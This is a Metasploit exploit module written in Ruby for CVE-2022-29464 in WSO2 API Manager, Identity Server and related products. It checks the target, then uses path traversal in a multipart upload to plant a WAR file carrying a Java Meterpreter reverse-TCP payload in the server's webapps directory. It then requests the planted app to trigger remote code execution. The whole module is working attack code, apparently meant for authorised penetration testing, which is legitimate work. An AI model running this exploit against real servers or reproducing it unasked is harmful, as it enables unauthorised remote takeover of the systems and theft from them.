##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WSO2 Arbitrary File Upload to RCE',
        'Description' => %q{
          This module abuses a vulnerability in certain WSO2 products that allow unrestricted file
          upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and
          above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server
          Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above
          through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'hakivvi', # analysis and PoC
          'wvu', # PoC
          'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2022-29464'],
          [ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],
          [ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],
          [ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]
        ],
        'DefaultOptions' => {
          'Payload' => 'java/meterpreter/reverse_tcp',
          'SSL' => true,
          'RPORT' => 9443
        },
        'Privileged' => false,
        'Targets' => [
          [
            'Java Dropper',
            {
              'Platform' => 'java',
              'Arch' => ARCH_JAVA,
              'Type' => :java_dropper,
              'DefaultOptions' => {
                'WfsDelay' => 10
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-01',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),
        OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
      'method' => 'POST'
    )

    if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Unknown
    end
  end

  def prepare_payload(app_name)
    print_status('Preparing payload...')

    war_payload = payload.encoded_war.to_s
    fname = app_name + '.war'
    path_traveral = '../../../../repository/deployment/server/webapps/' + fname
    post_data = Rex::MIME::Message.new
    post_data.add_part(war_payload,
                       'application/octet-stream', 'binary',
                       "form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")
    post_data
  end

  def upload_payload(post_data)
    print_status('Uploading payload...')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s
    )
    if res && res.code == 200
      print_good('Payload uploaded successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
    end
  end

  def execute_payload(app_name)
    res = nil
    print_status('Executing payload... ')
    retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do
      print_status('Waiting for shell... ')
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, app_name),
        'method' => 'GET'
      )
      if res && res.code == 200
        break
      else
        next
      end
    end

    if res && res.code == 200
      print_good('Payload executed successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
    end
  end

  # Retry the block until it returns a truthy value. Each iteration attempt will
  # be performed with expoential backoff. If the timeout period surpasses, false is returned.
  def retry_until_true(timeout:)
    start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
    ending_time = start_time + timeout
    retry_count = 0
    while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
      result = yield
      return result if result

      retry_count += 1
      remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
      break if remaining_time_budget <= 0

      delay = 2**retry_count
      if delay >= remaining_time_budget
        delay = remaining_time_budget
        vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
      else
        vprint_status("Sleeping for #{delay} seconds before attempting again")
      end

      sleep delay
    end
  end

  def exploit
    app_name = Rex::Text.rand_text_alpha(4..7)
    data = prepare_payload(app_name)
    upload_payload(data)
    execute_payload(app_name)
  end

end